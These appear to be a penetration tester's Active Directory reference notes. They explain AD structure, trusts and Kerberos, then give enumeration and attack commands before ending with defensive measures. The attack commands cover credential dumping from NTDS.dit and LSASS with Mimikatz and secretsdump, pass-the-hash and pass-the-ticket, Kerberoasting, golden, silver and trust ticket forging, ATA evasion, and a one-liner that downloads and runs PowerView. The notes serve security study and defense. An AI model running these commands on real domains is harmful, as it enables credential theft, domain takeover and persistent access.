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Active Directory

Quick References

Active Directory Introduction

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc780036(v=ws.10)

  • Introduction
  • Kerberos v5 used from Windows Server 2000+
  • Naming conventions
    • User Principal name: winsaafman@scriptdotsh.local
    • DN (Distinguished Names) LDAP names: CN=winsaafman,DC=corp,DC=scriptdotsh,DC=local
      • CN = Common name
      • OU = Organisational Unit
      • DC = Domain

Structure

  • Components
    • Schema - Defines objects and attributes
    • Query and index mechanism - Ability to search and publish objects and properties
    • Global Catalog - Contains info about every object in directory
    • Replication Service - Distributes information across domain controller
  • Structure
    • Forest - Security boundary, which may contain multiple domains and each domain may contain multiple OUs
    • https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759186(v%3dws.10)
    • https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759073(v%3dws.10)
    • Organizational Units
      • Container object
      • Used to arrange other objects
      • Easier to locate and manage
      • Can delegate the authority to manage
      • Can be nested in other organizational units
    • Domains
      • Container object
      • Collection of administratively defined objects that share a common directory database, security policies, and trust relationships with other domains
      • Each domain is an administrative boundary for objects.
      • A single domain can span multiple physical locations or sites
    • Domain Trees
      • Collections of domains that are grouped together in hierarchical structures
      • When you add a domain to a tree, it becomes a child of the tree root domain
      • The domain to which a child domain is attached is called the parent domain.
      • A child domain might in turn have its own child domain.
      • The name of a child domain is combined with the name of its parent domain to form its own unique Domain Name System (DNS) name such as Corp.nwtraders.msft.
      • .:. a tree has a contiguous namespace.
    • Forests
      • Instance of Active Directory
      • Each forest acts as a top-level container in that it houses all domain containers for that particular Active Directory instance
      • A forest can contain one or more domain container objects, all of which share a common logical structure, global catalog, directory schema, and directory configuration, as well as automatic two-way transitive trust relationships.
      • The first domain in the forest is called the forest root domain.
      • The name of that domain refers to the forest, such as Nwtraders.msft.
      • By default, information in Active Directory is shared only within the forest.
      • .:. the forest is a security boundary for the information that is contained in that instance of Active Directory
    • Site Objects
      • Leaf and container objects
      • Topmost object in the hierarchy of objects that are used to manage and implement Active Directory replication
      • Stores the hierarchy of objects that are used by the Knowledge Consistency Checker (KCC) to effect the replication topology
      • Some of the objects located in: NTDS Site Settings objects, subnet objects, connection objects, server objects, and site objects (one site object for each site in the forest)
      • Hierarchy is displayed as the contents of the Sites container, which is a child of the Configuration container
  • SYSVOL
    • Ref: https://social.technet.microsoft.com/wiki/contents/articles/24160.active-directory-back-to-basics-sysvol.aspx
    • Folder which resides on each and every domain controller within the domain.
    • Contains the domains public files that need to be accessed by clients and kept synchronised between domain controllers.
    • Default location is C:\Windows\SYSVOL
    • The SYSVOL folder can be accessed through:
      • share \\domainname.com\sysvol
      • or the local share name on the server \\servername\sysvol.
    • Uses DFS to share the relevant folders to users and clients. - Distributed File System. Client and server services that allow servers to organize distributed file shares into a distributed file system.
    • File Replication Service - FRS is a multi-master, multi-threaded replication technology.
      • Introduced in Windows 2000 to replace the previous LMREPL technology used in NT3.x and 4 days
      • Ageing Cache - Detects the change by monitoring the NTFS USN journal (stored in NTFRS database) (every 3 seconds)
      • Replaced by DFSR (Distributed File System Replication) in Windows 2008 or higher
        • Auto-healing functions in place to remedy some of the issues that FRS
        • Instead of replicating entire files we only replicate the chunks of data that have changed
        • Based on MD4 hash of the file
    • The log contains information about the file and the time it was changed, this is then used to build its change message. To ensure the file and all it’s attributes (i.e. permissions) are kept intact FRS calls the backup [API](http://social.technet.microsoft.com/wiki/contents/articles/20580.wiki-glossary-of-technology-acronyms.aspx#API)which uses [VSS](http://social.technet.microsoft.com/wiki/contents/articles/20580.wiki-glossary-of-technology-acronyms.aspx#VSS) technology to take a snapshot of the file and it’s attributes. This backup file is then compressed and stored in the staging area folder. At this point the outbound log is updated (again this is actually a table within the FRS database). This contains information about all the changes for a specified replication set. If in step 1 a file was deleted rather than created then we don’t create a staging file, but the outbound log reflects the deletion. FRS on DC1 then sends a change notification to its replication partner DC2. DC2 adds the information about the change into its inbound log and accepts the change then sends a change acknowledgment back to DC1. DC2 then copies the file from DC1 into its staging area. It then writes an entry to its outbound log to allow other partners to pickup the change. DC2 then calls the backup API to restore the file from the staging area into the SYSVOL folder. So there you have it, FRS replication. There is a very detailed and in-depth reference guide on TechNet[here](http://technet.microsoft.com/en-us/library/cc758169(v=WS.10).aspx) for further reference.

AD Trust Types

Trust Type Property Trust Direction Auth. Details
Tree-Root Transitive Two-way Kerberos V5 or NTLM Created automatically when a new Tree is added to a forest.
Parent-Child Transitive Two-way Kerberos V5 or NTLM Created automatically when a child domain is added.
Shortcut Transitive One-way or Two-way Kerberos V5 or NTLM Created Manually. Used in a forest to shorten the trust path to improve authentication times.
Forest Transitive One-way or Two-way Kerberos V5 or NTLM Created Manually. Used to share resources between AD DS forests.

Kerberos Process Across Trust Boundaries

Ref: https://scriptdotsh.com/wp-content/uploads/2018/10/trust2.png

A client from Domain 1 wants to access the server located in Domain 2.

  1. A client from Domain1 requests a TGT from the DC1.
  2. DC1 responds back with the TGT (encrypted with krbtgt hash)
  3. Client shows the TGT and requests a TGS for accessing the server in Domain2.
    • As DC1 doesn’t find the server in current domain and realizes that the TGS needs to be issued by the DC2 (of Domain2) because the server is located in the Domain2. So it responds back to client with the Inter-realm TGT.
  4. Client shows the TGT encrypted with Inter-Realm trust key to DC2 in the Domain2 and requests TGS to access the server.
  5. DC2 sends back the TGS for Server encrypted with server’s account hash.
  6. Client presents the TGS (encrypted with server’s account hash) to the server for access.

Scope of Authentication

  • Forest-wide authentication - Users from the outside forest have the same level of access to resources in the local forest as users who belong to the local forest.
  • Selective authentication - You need to manually assign permissions on each computer in the domain as well as the resources to which you want users in the second forest to have access (by editing ACE (Access control entry)).

Setup

Install-windowsfeature AD-domain-services
Install-WindowsFeature RSAT-ADDS

Import-Module ADDSDeployment
Install-ADDSForest -CreateDnsDelegation:$false ` -DatabasePath "C:\Windows\NTDS" ` -DomainMode "Win2012R2" ` -DomainName "server1.hacklab.local" ` -DomainNetbiosName "server1" `  -ForestMode "Win2012R2" `  -InstallDns:$true `  -LogPath "C:\Windows\NTDS" `  -NoRebootOnCompletion:$false `  -SysvolPath "C:\Windows\SYSVOL" `  -Force:$true

Tools

Mimikatz

  • Utilises the Directory Replication Service (DRS) to retrieve the password hashes from the NTDS.DIT file
    lsadump::dcsync /domain:pentestlab.local /all /csv
    lsadump::dcsync /domain:pentestlab.local /user:test
    
  • Executing Mimikatz directly in the domain controller password hashes can be dumped via the lsass.exe process
    privilege::debug
    lsadump::lsa /inject
    

CrackMapExec

  • Automate assessing the security of large Active Directory networks
    crackmapexec smb <target(s)> -u username -H LMHASH:NTHASH
    crackmapexec smb <target(s)> -u username -H NTHASH
    

ldapsearch

ldapsearch -x -h $ip -p 389 -D 'SVC_TGS'​ -w ​$password -b ​ "dc=active,dc=htb"​ -s sub "(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2)))"​ samaccountname

ldapdomaindump

ldapdomaindump -u example\example 10.10.10.10

Impacket

  • GetADUsers.py - Enumerate domain user accounts
    GetADUsers.py -all active.htb/svc_tgs -dc-ip $ip
    

Enumeration

Using PowerShell and Built-ins

C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management\Microsoft.ActiveDirectory.Management.dll
Import-Module .\Microsoft.ActiveDirectory.Management.dll

  • Domain: Get-ADDomain
  • SID: Get-DomainSID = Get-ADDomain.DomainSID.Value
  • Domain Controller: GET-ADDomainController
  • Users:
    • Get-ADUser -Filter *
    • Get-ADUser -Filter * -Properties *
    • Get-ADUser -Server pc1.powershell.local
    • Get-ADUser -Identity labuser
  • Groups :
    • Get-ADGroup -Filter *
    • Get-ADGroup -Filter * | Select Name
    • Get-ADGroup -Filter {Name -like "*admin*"} | Select Name
  • Filter Groups for User: Get-ADGroup -Filter {Name -like "*admin*"} | select name, GroupScope
  • Group Members:
    • Get-ADGroupMember -Identity "Domain Admins" -Recursive
    • Get-AdPrincipalGroupMembership -Identity "labuser"
  • Computers: Get-AdComputer -Filter * -Properties *
  • ACL for AD objects: (without resolving GUIDs)
    • (Get-Acl 'AD:\CN=labuser,CN=Users,DC=example,DC=powershell,DC=local').Access
  • Trust
    • Get-AdTrust -Filter *
    • Get-AdTrust -Filter * -Identify example.powershell.local
  • Forest:
    • Get-ADForest
    • Get-ADForest -Identify powershell.local
    • Get all domains in current forest:
      • (Get-ADForest).Domains
  • Forest Trust
    • Get-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"'

PowerView

./PowerView.ps1
- Current domain information: Get-NetDomain - Domain information: Get-NetDomain -Domain powershell.local (info of domains where there is a trust relationship) - Domain Controller: Get-NetDomainController - Users: - Get-NetUser - Get-NetUser -Domain powershell.local - Get-NetUser -UserName labuser - Groups: - Get-NetGroup - Get-NetGroup *admin* - Group Members: - Get-NetGroupMembers -GroupName "Domain Admins" - Get-NetGroup -UserName "labuser" - Check if current user context has local-admin access to hosts in the domain: Find-LocalAdminAccess -Verbose - Enumerate members of local-admin groups across all machines: Invoke-EnumerateLocalAdmin -Verbose - 2016+ responded only by boxes where current user have local-admin access - Computers: Get-NetComputer -FullData - Sessions: - Get-NetSession - List sessions on a computer: Get-NetSession -ComputerName pc1 - Find computers where domain admin is logged in and current user has access: Invoke-UserHunter -CheckAccess - Based on list of machines from DC - List of sessions - Logged on users from each machine - Shares (?) - ACL for AD objects: - Get-ObjectAcl - Get-ObjectAcl -SamAccountName labuser -ResolveGUIDs - Get-ObjectACL -AdSprefix 'CN=Administrator,CN=Users' -Verbose - Look for all interesting ACL entries: Invoke-ACLScanner -ResolveGUIDs (write modify) - Filter using IdentifyReference to identify what current user has interesting access to - Trust - Get-NetDomainTrust - Get-NetDomainTrust -Domain example.powershell.local - Forest: - Get-NetForest - Get-NetForest -Forest powershell.local - Get all domains in current forest: - Get-NetForestDomain - Get-NetForestDomain -Forest powershell.local - Forest Trust - Get-NetForestTrust - Get-NetForestTrust -Domain example.local

powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1'); Get-NetDomain"

Snapshot for Offline Analysis

Bloodhound

  • Finds groups and group members of each group.
  • Gets Domain computers in the domain.
  • Obtain local admins for each computer.
  • List Active sessions on each computer.
  • And then creates relationships between all these findings.

Attack Patterns

image-20190603080125614

Ref: https://www.blackhat.com/docs/us-14/materials/us-14-Duckwall-Abusing-Microsoft-Kerberos-Sorry-You-Guys-Don't-Get-It.pdf

Dumping AD Credentials

  • secretsdump - Need domain admin credentials: secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
  • NTDS.dit
    • AD data stored in: %SYSTEMROOT%\NTDS\ntds.dit
      • Cannot be copied directly to another location
      • Can be extracted using
        • Domain Controller Replication Services
        • Native Windows Binaries
        • WMI
        • Backups / External Storage for DC
        • VMWare / HyperV for virtual DCs
          • VMWare admin can call virtual DC within VMWare
          • Clone a DC and copy the storage file
          • No events triggered
        • NTDSUtil
          • DC Promo has to copy from another DC
          • But if NTDSUtil was used to create an IMF (Install From Media), it makes a copy of NTDS.dit
            • Can use NTDSUtil to create an IMF or look for IMF in network
    • Extraction techniques and tools: https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/ - Dumping Domain Password Hashes
    • Steps:
      • cmd.exe as Administrator
      • ntdsutil
        snapshot
        activate instance NTDS
        create
        
        mount <UUID>
        
      • copy NTDS.dit (located in Windows\NTDS\NTDS.dit by default)
      • ntdsutil
        unmount <UUID>
        delete <UUID>
        quit
        quit
        
        reg.exe save HKLM\SYSTEM <path_where_you_want_to_save_it>
        
        secretsdump.py -system <path_to_system_hive> -ntds <path_to_ntds.dit> LOCAL
        
  • Dumping Credentials on DC - Mimikatz
    • Take memory dump of LSASS process using task manager and use Mimikatz offline
    • Run Mimikatz on DC
    • Invoke-Mimikatz on DC via PS remoting
  • Dumping Credentials on Multiple Machines - Mimikatz
    • Invoke-Mimikatz -DumpCreds -ComputerName @("instance1", "instance2")
      • Uses PowerShell remoting
      • Hence need creds / administrative access to remote computers
      • If remoting not enabled:
        • If WIM enabled
          • WIN32 Proess - Class Create Method (TODO:)
          • WIN32 Service - Execute Method (TODO:)

Pass the Hash

image-20190603075202692

Ref: https://www.blackhat.com/docs/us-14/materials/us-14-Duckwall-Abusing-Microsoft-Kerberos-Sorry-You-Guys-Don't-Get-It.pdf

  • In typical scenario:
    • User type the password
    • LSASS hash the password (LM, NTLM) and send it to service for authentication
  • In attack scenario:
    • Attacker pass the hash (LM, NTML) itself to LSASS which is sent to service
  • Preventions
    • Disable NTML hashes
    • "Protected Users" group
    • Do not leave lot of NTLM authentication footprint in eventless

Over Pass the Hash / Pass the Key

image-20190603075915450> Ref: https://www.blackhat.com/docs/us-14/materials/us-14-Duckwall-Abusing-Microsoft-Kerberos-Sorry-You-Guys-Don't-Get-It.pdf

  • If NTLM hash is available, encrypt timestamp with hash and sent it to KDC in AS-REQ to get a TGT
  • Keys are in:
    • Client LSASS memory
      • Prevented by "Protected Users" group
    • Active Directory
      • NTDS.dit and SYSTEM hive
      • Offline
        • [Tool] NTDSXtract
        • python DSUser.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 ./work -name Administrator --syshive SYSTEM --supplcreds --passwordhashes --lmoutfile ./lm --ntoutfile ./nt --pwdformat john
        • privilege::debug sekurlsa::ekeys
      • Online
        • privilege::debug lsadump::lsa /inject /name:Administrator
  • Keys are in:
    • DES
    • RC4 - Non domain salted NTML hash
    • AES128 AES256 keys (NT6+)
      • Use PBKDF2
      • Salted
      • 4096 iterations
      • Cracking is difficult
  • Over pass the hash
    • privilege::debug sekurlsa::pth /user:Administrator /domain:<DomainName> /ntlm:<Hash>
  • References
  • Mimikatz
    • Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:. /ntlm:<ntlmhash> /run:powershell.exe"'

Pass the Ticket

image-20190603080021618

image-20190603080049817

Ref: https://www.blackhat.com/docs/us-14/materials/us-14-Duckwall-Abusing-Microsoft-Kerberos-Sorry-You-Guys-Don't-Get-It.pdf

  • Inject the TGT in to the LSASS Kerberos Provider
    • Do not ask the KDC for the TGT, instead ask the KDC to give us a TGS
  • Can also inject TGS in to the LSASS Kerberos Provider
  • Exporting from memory:
    • API only allow exporting current user's tickets (your tickets)
    • TGT: AllowTgtSessionKey reg-key must be set
    • TGS: No restrictions
  • http://msdn.microsoft.com/library/windows/desktop/aa378099.aspx
LsaCallAuthenticationPackage/KerbRetrieveEncodedTicketMessage
LsaCallAuthenticationPackage/KerbSubmitTicketMessage
mimikatz > kerberos::list [/export]
mimikatz > kerberos::ptt ticket
  • For all users in LSASS memory:
privilege::debug
sekurlsa::tickets export
kerberos:ptt <ticket.kirbi>

Token Manipulation

  • Invoke-TokenManipulation / Incognito for impersonation
  • Admin privileges are required to adjust token prilileges
  • Can also use Mimikatz
  • New process with token of given user: Invoke-TokenManipulation -ImpresonateUser -Username "domain/user"
  • New process with token of another process: Invoke-TokenManupulation -CreateProcess "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -ProcessId 500"

DCSyc

  • Used to sync AD to Azure
  • Can be used to get credentials from AD
    • If reverse encryption is enabled for an account, clear text password can be obtained.
  • Needs Administrator or Domain Controller rights
  • By default, no logs since this is done through official RPC (remotely)
  • Implemented by: Mimikatz (lsadump:dcsync), Impacket, DSInternals

image-20190611062259293

  • DCSync is easy to detected

NRPC (NetLogon)

  • When you have domain admin account for one DC, can as another DC to send all NTLM hashed of computer accounts and domain controller accounts.
  • Can be used to create silver tickets.
  • If you have rights flip some bytes of the account, can make a normal user account a workstation account. Can be used to get user accounts using this.

Microsoft Windows AD Kerberos Tickets

  • Gather tickets
    GetUserSPNs.py -request (HOST.DOMAIN)/(VALID SMB USER):(USER PASSWORD)
    
  • Crack
    -a 0 - Straight cracking mode
    -m 13100 - Hashtype 13100 - which is Kerberos 5 TGS-REP etype 23
    the kerberos.ticket file
    -w 3 - Suggested example "workload" setting for Hashcat
    
    .\hashcat64.exe -m 13100 -a 0 'C:\Users\weaknet\Desktop\Portfolio\VMWare Shared\kerberos.tick
    et' -w 3 'C:\Users\weaknet\Desktop\Portfolio\VMWare Shared\rockyou.txt'
    hashcat (v5.1.0) starting...
    

Privilege Escalation Across Domains

  • Child to forest root
    • Domain in same forest gave implicit two way trust with forest root
    • There is a trust key bwterrn parent and child domains
    • Inter-realm TGT domain-trust
  • Approaches
    • Trust tickets
      • Inter-realm TGT (sent along with request for TGS) to other DC is validated by
        • Decrypting Inter-realm TGT with Trust Key
      • If you have trust-key, you can forge trust-tickets
        • On child domain, to get trust-key: Invoke-Mimikatz -Command '"lsadump::trust /patch"'
        • FOrge inter-realm TGT: Invoke-Mimikatz -Command '"Kerberos::golden /domain:example.powershell.local /sid<sid> /sids:<sid-history-of-enterprise-admin> /rc4:<rc4> /user:Administrator /service:kerbtgt /target:powershell.local /ticket:trust_tkt.kirbi"'
      • Get TGS for a service using forged trust ticket:
        • asktgs.exe trust_tht.kirbi CIFS/dc.parent.powershell.local
      • Access
        • kirbikator.exe lsa example.kirbi
        • ls \\dc.parent.powershell.local\c$
    • Krbtgt hash
      • Similar to Golden Ticket
      • Once you have kerbtgt hash of current domain, use SID history to forge a TGT:
        • Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
        • Invoke-Mimikatz -Command '"Kerberos::golden /user:Adminsitator /domain:example.powershell.local /sid<sid> /krbtgt:<hash> /sids:<sid-history-of-enterprise-admin> /ticket:krb_tkt.kirbi"'
      • On a machine in the other domain:
        • Invoke-Mimikatz -Command '"kerberos:ppt krb_tkt.kirbi"'

Persistence

  • Golden Ticket
    • A valud TGT signed and encrypted by the hash of krbtgt account
    • User account validation is not done by DC (KDC service), until TGT is older than 20 minutes
      • Can even delete / revoke accounts
    • Krbtgt user hash could be used to impersonate any user with any privileges from even from a non-domain machine
    • Single passwoed change has no effect on this attack (need two change operations)
    • Why persistance technique?
      • Once you have domain-admin, use it to extract all credentials
      • Forge a TGT to get persistance
    • Execute mimikatz on DC: Invoke-Mimikatz -Command '"lsadumo::lsa /patch"' -Computername ops-dc
      • Patch the running lsa process (execute code on DC)
    • Use DCSync to get krbtgt hash (when you have DA privilages for the domain): Invoke-Mimikatz -Command '"lsadump::dcsync /user:example\krbtgt"'
      • Without running code on DC
    • On any machine: Invoke-Mimikatz -Command '"kerberos:golden /User:Administrator /domain:example.powershell.local /sid:<domain_sid> kerbtgt:<hash> /id:500 /group:513 /ppt"'
  • Silver Ticket
    • A valid TGS is encrypted and signed by the NTLM hash of serive account
    • Less noisy. No communication with DC is required.
    • Service rarely check PAC (Privileged Attribute Certificate)
    • Services will allow access only yo the services themselves
    • Allows access to a paticular service on a paticular machine
    • Invoke-Mimikatz -Command '"kerberos:golden /domain:example.powershell.local /sid:<domain_sid> kerbtgt:<hash> /target:dc.example.powershell.local /service:cifs /rc4:<rc4_of_service_account_for_cifs/machine_account> /id:500 /user:Administrator /ppt"'

Defense

  • Do not allow or limit login of DAs to any other machines (other than DC)
    • If it's necessary, there shouldn't be any other administrators on that machine
  • Do not run services with DA account
  • Monitor event ID
    • 4624: Account logon
    • 4634: Account logoff
    • 4672: Admin logon
    • 4769 - A kerberos ticket was requested
  • Kerberos Mitigations
    • Service account passwords should be hard to guess
    • Use managed service accounts (auto change password and deligated SPN management)
  • Detect kerberost:
    • 4769 and
    • Encryption type is RC4
    • Service account for kerberos ticket request is a service account
  • Securing Trust Tickets
    • SID filtering
      • Avoid SID history abuse (DA from child to EA on forest root)
      • Enabled by default on all inter-forest-trusts.
      • Intra-forest trusts are assumed to be secured by default (forest is the security boundary)
      • SID filtering can break applications and user access (hence, usually disabled)
    • Selective Authentication
      • Users between the trusts will not be automatically authenticated.
      • Individual access to domains and servers in the trusting domain/forest should be given
  • ATA for Detecting
    • Recon: Account enum. Netsession enum
    • Compromised Credentials Attacks: Bruteforce, High privilege account/service account exposed in clear text, Honey token, usual protocol (NTLM and Kerberos)
    • Credential/Hash/Ticket Replay attacks
  • Bypassing ATA
    • Avoid talking to the DC as long as possible
    • Make appear the traffic we generate as attacker normal
      • Example:
        • Use AES keys when downgrades are detected
  • Use unique and strong local admin account passwords
  • Use Microsoft LAPS (Local Administrator Password Solution) to automate local admin password changes
  • Use Privileged Adminsitratove Workstations (PAWs)
    • Hardened workstation for performing sensitive tasks like domain administration and cloud infrastructure access
    • Stratergies:
      • Separate privilege and hardware for admin tasks
      • Admin Jump servers to be accessed only from PAW
      • Having a VM on a PAW for user tasks
  • Administrative Tier Model
  • KB2871997 to disallow local account logon across the network
    • https://technet.microsoft.com/library/security/2871997
    • Microsoft has definitely raised the bar: accounts that are members of the localgroup “Administrators” are no longer able to execute code with WMI or PSEXEC, use schtasks or at, or even browse the open shares on the target machine. Oh, except (as pwnag3 reports and our experiences confirm) the RID 500 built-in Administrator account, even if it’s renamed.
  • Limit workstation to workstation communication
  • Implement network segmentation
  • Never run services with domain-admin privileged accounts on workstations (avoid dumping from LSASS)
  • Install patch (), so that LSASS will not store plain text password
  • Done't use unconstrained delegation (this stores user's delegated TGS in LSASS). Only use constrained delegation.
  • Disable delegation for admin accounts (Check: Account is sensitive and cannot be delegated).
    • Detect based on delegation events.
  • NetCease.ps1 to prevent session enumeration on AD computers

References